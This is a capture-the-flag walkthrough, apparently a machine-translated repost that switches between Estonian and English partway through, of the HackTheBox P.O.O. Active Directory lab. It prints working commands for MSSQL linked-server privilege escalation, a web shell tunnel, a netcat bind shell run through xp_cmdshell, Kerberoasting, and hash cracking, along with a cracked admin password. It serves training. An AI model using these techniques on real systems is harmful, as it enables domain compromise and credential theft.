HackTheBoxi lĂ”ppkatse. Professionaalse RĂŒnn OPERATSIOONIDE labori lĂ€bimine. Active Directory pentestimine

HackTheBoxi lĂ”ppkatse. Professionaalse RĂŒnn OPERATSIOONIDE labori lĂ€bimine. Active Directory pentestimine

Selles artiklis vaatleme mitte ainult masina, vaid terve mini-laboratooriumi lÀbimist saidilt HackTheBox.

Nagu on öeldud kirjelduse juures, on P.O.O. mĂ”eldud oskuste kontrollimiseks rĂŒnnakute kĂ”ikidel etappidel vĂ€ikestes Active Directory keskkondades. EesmĂ€rk on komprimeerida juurdepÀÀsetav host, tĂ”sta Ă”igusi ja lĂ”puks komprimeerida kogu domeeni, kogudes samal ajal 5 lippu.

Laboratooriumisse ĂŒhendamiseks kasutatakse VPN-i. Soovitame mitte ĂŒhenduda töökompuutri vĂ”i hostiga, kus on olulised andmed, kuna sisenete privaatvĂ”rku inimestega, kellel on oskused infotehnoloogia valdkonnas 🙂

Organisatsiooniline teave
Kuna saaksite teada uutest artiklitest, tarkvarast ja muust teabest, olen loonud Telegrami kanali ja arutelugrupi kĂ”igi kĂŒsimuste jaoks infotehnoloogia ja kĂŒberturbe valdkonnas. Samuti vaatan teie isiklikke palveid, kĂŒsimusi, ettepanekuid ja soovitusi isiklikult ja vastan kĂ”igile.

Kogu teave on esitatud ainult hariduslikel eesmÀrkidel. Selle dokumendi autor ei vastuta mitte mingite kahjude eest, mis vÔidakse kellelegi tekitada selle dokumendi kaudu saadud teadmiste ja meetodite kasutamise tulemusena.

Sissejuhatus

See lÔppkatse koosneb kahest masinast ja sisaldab 5 lippu.

HackTheBoxi lĂ”ppkatse. Professionaalse RĂŒnn OPERATSIOONIDE labori lĂ€bimine. Active Directory pentestimine

Samuti antakse ĂŒlevaade ja juurdepÀÀsetava hosti aadress.

HackTheBoxi lĂ”ppkatse. Professionaalse RĂŒnn OPERATSIOONIDE labori lĂ€bimine. Active Directory pentestimine

Alustame!

Recon lipp

Sellel masinal on IP-aadress 10.13.38.11, mille lisan /etc/hosts.
10.13.38.11 poo.htb

Esmalt skaneerime avatud porte. Kuna kĂ”igi portide skaneerimine nmap’iga vĂ”tab kaua aega, kasutan kĂ”igepealt masscan'i. Skaneerime kĂ”iki TCP ja UDP porte tun0 liidese kaudu kiirusel 500 paketti sekundis.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

HackTheBoxi lĂ”ppkatse. Professionaalse RĂŒnn OPERATSIOONIDE labori lĂ€bimine. Active Directory pentestimine

NĂŒĂŒd saame teenuste kohta rohkem teavet, mis töötavad portides, kĂ€ivitades skaneerimise valikuga -A.

nmap -A poo.htb -p80,1433

HackTheBoxi lĂ”ppkatse. Professionaalse RĂŒnn OPERATSIOONIDE labori lĂ€bimine. Active Directory pentestimine

Nii saame IIS ja MSSQL teenuseid. Samuti selgub reaalne DNS-i nimi domeeni ja arvuti jaoks. Veebiserveril tervitab meid IIS-i peamine leht.

HackTheBoxi lĂ”ppkatse. Professionaalse RĂŒnn OPERATSIOONIDE labori lĂ€bimine. Active Directory pentestimine

Vaadakem kaustu. Kasutan selleks gobusterit. Parameetrites mÀÀran voogude arvu 128 (-t), URL-i (-u), sÔnaraamatu (-w) ja laiendused, mis meid huvitavad (-x).

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

HackTheBoxi lĂ”ppkatse. Professionaalse RĂŒnn OPERATSIOONIDE labori lĂ€bimine. Active Directory pentestimine

Nii et me saame HTTP autentimise kaustas /admin, samuti saadaval oleva töölaudade teenuse failide jaoks .DS_Store. .DS_Store on failid, mis salvestavad kausta kasutaja seaded, nagu failide loend, ikoonide asukoht ja valitud taustapilt. Sellised failid vÔivad sattuda veebiserveri kausta veebiarendajate poolt. Seega saame teavet katalooge sisu kohta. Selleks saab kasutada DS_Store kraanija.

python3 dsstore_crawler.py -i http://poo.htb/

HackTheBoxi lĂ”ppkatse. Professionaalse RĂŒnn OPERATSIOONIDE labori lĂ€bimine. Active Directory pentestimine

Saame katalooge sisu. KĂ”ige huvitavam siin on kataloog /dev, kust saame kahes harus vaadata lĂ€htekode ja db-faile. Kuid me saame ainult 6 esimest sĂŒmbolit failide ja kaustade nimedest, kui teenus on IIS ShortName'i suhtes haavatav. Selle haavatavuse tuvastamiseks saab kasutada IIS lĂŒhinime skanner.

HackTheBoxi lĂ”ppkatse. Professionaalse RĂŒnn OPERATSIOONIDE labori lĂ€bimine. Active Directory pentestimine

Ja leidub ĂŒks tekstifail, mis algab «poo_co». Mitte teadmata, mida edasi teha, valisin lihtsalt sĂ”nastikust kĂ”ik sĂ”nad, mis algavad «co».

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

Ja proovime wfuzziga.

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

HackTheBoxi lĂ”ppkatse. Professionaalse RĂŒnn OPERATSIOONIDE labori lĂ€bimine. Active Directory pentestimine

Ja me leiame sobiva sÔna! Vaadake seda faili, salvestame volitused (arvestades DBNAME parameetrit, on need MSSQL-i omad).

HackTheBoxi lĂ”ppkatse. Professionaalse RĂŒnn OPERATSIOONIDE labori lĂ€bimine. Active Directory pentestimine

Anname lipu ja liigume edasi 20%.

HackTheBoxi lĂ”ppkatse. Professionaalse RĂŒnn OPERATSIOONIDE labori lĂ€bimine. Active Directory pentestimine

Huh lipp

Ühendume MSSQL-iga, kasutan DBeaverit.

HackTheBoxi lĂ”ppkatse. Professionaalse RĂŒnn OPERATSIOONIDE labori lĂ€bimine. Active Directory pentestimine

Selles andmebaasis ei leidu midagi huvitavat, loome SQL-toimetaja ja kontrollime, millised kasutajad on olemas.

SELECT name FROM master..syslogins;

HackTheBoxi lĂ”ppkatse. Professionaalse RĂŒnn OPERATSIOONIDE labori lĂ€bimine. Active Directory pentestimine

Meil on kaks kasutajat. Kontrollime oma Ôigusi.

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

HackTheBoxi lĂ”ppkatse. Professionaalse RĂŒnn OPERATSIOONIDE labori lĂ€bimine. Active Directory pentestimine

Nii et Ă”igusi pole. Vaadake seotud servereid, sellest meetodist olen ma ĂŒksikasjalikult kirjutanud siin.

SELECT * FROM master..sysservers;

HackTheBoxi lĂ”ppkatse. Professionaalse RĂŒnn OPERATSIOONIDE labori lĂ€bimine. Active Directory pentestimine

Nii et leiame veel ĂŒhe SQL Serveri. Kontrollime, kas kĂ€skinud kĂ€skudega avatud pĂ€ringute juurde.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');

HackTheBoxi lĂ”ppkatse. Professionaalse RĂŒnn OPERATSIOONIDE labori lĂ€bimine. Active Directory pentestimine

Ja me saame isegi ĂŒles ehitada pĂ€ringute puu.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');

As it turns out, when we make a request to the linked server, the request is executed in the context of another user! Let's see which user's context we are working in on the linked server.

SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');

HackTheBoxi lĂ”ppkatse. Professionaalse RĂŒnn OPERATSIOONIDE labori lĂ€bimine. Active Directory pentestimine

Now let's see in what context requests from the linked server to ours are executed!

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');

HackTheBoxi lĂ”ppkatse. Professionaalse RĂŒnn OPERATSIOONIDE labori lĂ€bimine. Active Directory pentestimine

Thus, this is the DBO context, which should have all the privileges. Let's check the privileges in case of a request from the linked server.

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

HackTheBoxi lĂ”ppkatse. Professionaalse RĂŒnn OPERATSIOONIDE labori lĂ€bimine. Active Directory pentestimine

As you can see, we have all privileges! Let's create our own admin like this. But they won't allow it through openquery, so let's do it through EXECUTE AT.

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";

And now we connect with the new user's credentials, observing the new database flag.

HackTheBoxi lĂ”ppkatse. Professionaalse RĂŒnn OPERATSIOONIDE labori lĂ€bimine. Active Directory pentestimine

Let's capture this flag and move on.

HackTheBoxi lĂ”ppkatse. Professionaalse RĂŒnn OPERATSIOONIDE labori lĂ€bimine. Active Directory pentestimine

BackTrack flag

We will get a shell using MSSQL; I'm using mssqlclient from the impacket package.

mssqlclient.py ralf:ralfralf@poo.htb -db POO_PUBLIC

HackTheBoxi lĂ”ppkatse. Professionaalse RĂŒnn OPERATSIOONIDE labori lĂ€bimine. Active Directory pentestimine

We need to obtain passwords, and the first thing we've encountered is the site. Therefore, we need the web server config (it seems we can't drop a convenient shell because a firewall is in place).

HackTheBoxi lĂ”ppkatse. Professionaalse RĂŒnn OPERATSIOONIDE labori lĂ€bimine. Active Directory pentestimine

But access is denied. Although we can read files from MSSQL, we just need to know which programming languages are configured. And in the MSSQL directory, we find that Python is available.

HackTheBoxi lĂ”ppkatse. Professionaalse RĂŒnn OPERATSIOONIDE labori lĂ€bimine. Active Directory pentestimine

Then reading the web.config file is no problem.

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"

HackTheBoxi lĂ”ppkatse. Professionaalse RĂŒnn OPERATSIOONIDE labori lĂ€bimine. Active Directory pentestimine

With the found credentials, we will access /admin and retrieve the flag.

HackTheBoxi lĂ”ppkatse. Professionaalse RĂŒnn OPERATSIOONIDE labori lĂ€bimine. Active Directory pentestimine

HackTheBoxi lĂ”ppkatse. Professionaalse RĂŒnn OPERATSIOONIDE labori lĂ€bimine. Active Directory pentestimine

Foothold flag

Actually, there are some inconveniences with using the firewall, but while reviewing the network settings, we notice that an IPv6 hole is also used!

HackTheBoxi lĂ”ppkatse. Professionaalse RĂŒnn OPERATSIOONIDE labori lĂ€bimine. Active Directory pentestimine

Let's add this address to /etc/hosts.
dead:babe::1001 poo6.htb
Skaneerime hosti uuesti, kuid nĂŒĂŒd IPv6 protokolli kaudu.

HackTheBoxi lĂ”ppkatse. Professionaalse RĂŒnn OPERATSIOONIDE labori lĂ€bimine. Active Directory pentestimine

Ja WinRM teenus on saadaval ka IPv6 kaudu. Ühendame leitud kasutajatunnustega.

HackTheBoxi lĂ”ppkatse. Professionaalse RĂŒnn OPERATSIOONIDE labori lĂ€bimine. Active Directory pentestimine

Töölaual on lipp, anname selle Àra.

HackTheBoxi lĂ”ppkatse. Professionaalse RĂŒnn OPERATSIOONIDE labori lĂ€bimine. Active Directory pentestimine

P00ned lip

Homme lĂ€bi hosti skaneerimise winpeas ei leia midagi erilist. SeetĂ”ttu otsustasime taas kasutajatunnuseid otsida (selle teemaga olen ma ka kirjutanud artiklit). Kuid ma ei saanud kĂ”iki SPN-e sĂŒsteemist vĂ€lja WinRM-i kaudu.

setspn.exe -T intranet.poo -Q *
/*

HackTheBoxi lĂ”ppkatse. Professionaalse RĂŒnn OPERATSIOONIDE labori lĂ€bimine. Active Directory pentestimine

Hakkame kÀitama kÀsku lÀbi MSSQL.

HackTheBoxi lĂ”ppkatse. Professionaalse RĂŒnn OPERATSIOONIDE labori lĂ€bimine. Active Directory pentestimine

Sel viisil saame SPN-id kasutajatelt p00_hr ja p00_adm, mis tĂ€hendab, et nad on haavatavad sellise rĂŒnnaku, nagu Kerberoasting, suhtes. LĂŒhidalt öeldes saame nende paroolide hashid.

Esiteks peame saama stabiilse shelli MSSQL kasutajana. Kuid kuna meil on ligipÀÀs piiratud, siis on meie ĂŒhendus hostiga saadaval ainult portide 80 ja 1433 kaudu. Kuid meil on vĂ”imalus tunnelda liiklust lĂ€bi port 80! Selleks kasutame jĂ€rgmine rakendus. Laeme faili tunnel.aspx veebiserveri kodukatalooge — C:inetpubwwwroot.

HackTheBoxi lĂ”ppkatse. Professionaalse RĂŒnn OPERATSIOONIDE labori lĂ€bimine. Active Directory pentestimine

Kuid kui proovime sellele juurde pÀÀseda, saame 404 vea. See tÀhendab, et failid *.aspx ei tööta. Et failid selle pikendusega töötaksid, installime ASP.NET 4.5 jÀrgmisel viisil.

dism /online /enable-feature /all /featurename:IIS-ASPNET45

HackTheBoxi lĂ”ppkatse. Professionaalse RĂŒnn OPERATSIOONIDE labori lĂ€bimine. Active Directory pentestimine

HackTheBoxi lĂ”ppkatse. Professionaalse RĂŒnn OPERATSIOONIDE labori lĂ€bimine. Active Directory pentestimine

Ja nĂŒĂŒd, kui pöördume tunnel.aspx poole, saame vastuse, et kĂ”ik on tööks valmis.

HackTheBoxi lĂ”ppkatse. Professionaalse RĂŒnn OPERATSIOONIDE labori lĂ€bimine. Active Directory pentestimine

KĂ€ivitame rakenduse kliendi osa, mis tegeleb liikluste edastamisega. Suuname kogu liikluse serverilt 5432 porti.

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

HackTheBoxi lĂ”ppkatse. Professionaalse RĂŒnn OPERATSIOONIDE labori lĂ€bimine. Active Directory pentestimine

Ja kasutame proxychains, et suunata iga rakenduse liiklust lÀbi meie proxy. Lisame selle proxy konfiguratsiooni faili /etc/proxychains.conf.

HackTheBoxi lĂ”ppkatse. Professionaalse RĂŒnn OPERATSIOONIDE labori lĂ€bimine. Active Directory pentestimine

NĂŒĂŒd laadime serverisse programmi netcat, mille abil teeme stabiilse bind shelli, ja skripti Invoke-Kerberoast, millega teeme Kerberoastingu rĂŒnnaku.

HackTheBoxi lĂ”ppkatse. Professionaalse RĂŒnn OPERATSIOONIDE labori lĂ€bimine. Active Directory pentestimine

NĂŒĂŒd kĂ€ivitame MSSQL kaudu kuulaja.

xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321

HackTheBoxi lĂ”ppkatse. Professionaalse RĂŒnn OPERATSIOONIDE labori lĂ€bimine. Active Directory pentestimine

Ja ĂŒhendame meie proxy kaudu.

proxychains rlwrap nc poo.htb 4321

HackTheBoxi lĂ”ppkatse. Professionaalse RĂŒnn OPERATSIOONIDE labori lĂ€bimine. Active Directory pentestimine

Ja saame hashid.

. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt

HackTheBoxi lĂ”ppkatse. Professionaalse RĂŒnn OPERATSIOONIDE labori lĂ€bimine. Active Directory pentestimine

SeejĂ€rel tuleb need hashid lĂ€bi vaadata. Kuna rockyou paroolide sĂ”nastikus ei olnud, kasutasin KÕIKI Seclistsis pakutud paroolide sĂ”nastikke. Hashide murdmise jaoks kasutame hashcat.

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

Ja leiame mÔlemad paroolid, esimese failist dutch_passwordlist.txt ja teise failist Keyboard-Combinations.txt.

HackTheBoxi lĂ”ppkatse. Professionaalse RĂŒnn OPERATSIOONIDE labori lĂ€bimine. Active Directory pentestimine

HackTheBoxi lĂ”ppkatse. Professionaalse RĂŒnn OPERATSIOONIDE labori lĂ€bimine. Active Directory pentestimine

Ja nĂŒĂŒd on meil kolm kasutajat, liigume domeeni kontrolleri juurde. Esmalt saame teada selle aadressi.

HackTheBoxi lĂ”ppkatse. Professionaalse RĂŒnn OPERATSIOONIDE labori lĂ€bimine. Active Directory pentestimine

SuurepĂ€rane, me oleme teada saanud domeeni kontrolleri IP-aadressi. Uurime nĂŒĂŒd kĂ”iki domeeni kasutajaid ning seda, kes neist on administraator. Laadime alla skripti PowerView.ps1, et teavet hankida. Siis ĂŒhendame evil-winrm-iga, mÀÀrates -s parameetrisse skripti kausta. Ja seejĂ€rel laadime skripti PowerView lihtsalt ĂŒles.

HackTheBoxi lĂ”ppkatse. Professionaalse RĂŒnn OPERATSIOONIDE labori lĂ€bimine. Active Directory pentestimine

NĂŒĂŒd on meil kĂ”ik selle funktsioonid saadaval. Kasutaja p00_adm nĂ€ib olevat privileegidega, seega töötame tema kontekstis. Loome selle kasutaja jaoks PSCredential objekti.

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

NĂŒĂŒd on kĂ”ik Powershelli kĂ€sud, kus me mÀÀrame Creds, tĂ€idetud p00_admi nimel. Vaatame kasutajate nimekirja ja atribuuti AdminCount.

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

HackTheBoxi lĂ”ppkatse. Professionaalse RĂŒnn OPERATSIOONIDE labori lĂ€bimine. Active Directory pentestimine

Ja meie kasutaja on tÔeliselt privileegidega. Vaatame, millistes gruppides ta on.

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

HackTheBoxi lĂ”ppkatse. Professionaalse RĂŒnn OPERATSIOONIDE labori lĂ€bimine. Active Directory pentestimine

Kinnitame, et kasutaja on domeeni administraator. See annab talle Ôiguse kaug siseneda domeeni kontrollerisse. Proovime sisse logida WinRM-i kaudu, kasutades meie tunnelit. Mind hÀirisid reaGeorgi vead evil-winrm'i kasutamisel.

HackTheBoxi lĂ”ppkatse. Professionaalse RĂŒnn OPERATSIOONIDE labori lĂ€bimine. Active Directory pentestimine

Kasutame siis teist, lihtsamat skripti skripti WinRM-i ĂŒhendamiseks. Avame ja muudame ĂŒhenduse seadeid.

HackTheBoxi lĂ”ppkatse. Professionaalse RĂŒnn OPERATSIOONIDE labori lĂ€bimine. Active Directory pentestimine

Proovime ĂŒhendust luua, ja me oleme sĂŒsteemis.

HackTheBoxi lĂ”ppkatse. Professionaalse RĂŒnn OPERATSIOONIDE labori lĂ€bimine. Active Directory pentestimine

Aga lippu pole. Siis vaatame kasutajat ja kontrollime töölaudu.

HackTheBoxi lĂ”ppkatse. Professionaalse RĂŒnn OPERATSIOONIDE labori lĂ€bimine. Active Directory pentestimine

Leidsime mr3ksilt lipu ja laboratoorium on 100% lÀbitud.

HackTheBoxi lĂ”ppkatse. Professionaalse RĂŒnn OPERATSIOONIDE labori lĂ€bimine. Active Directory pentestimine

See ongi kĂ”ik. Tagasiside osana, palun kommenteerige — kas Ă”ppisite sellest artiklist midagi uut ja kas see oli teile kasulik.

Saate liituda meiega Telegram. Seal leiate huvitavaid materjale, lekkinud kursse ning tarkvara. Loome kogukonna, kus on inimesed, kes mĂ”istavad paljusid IT valdkondi, et saame alati ĂŒksteisele IT ja RIK kĂŒsimustes abi anda.

Allikas: habr.com

Osta usaldusvÀÀrne hostimine veebilehtede jaoks DDoS-i kaitsega, VPS VDS serverid đŸ”„ Osta usaldusvÀÀrne hostimine veebilehtede jaoks DDoS-i kaitsega, VPS VDS serverid | ProHoster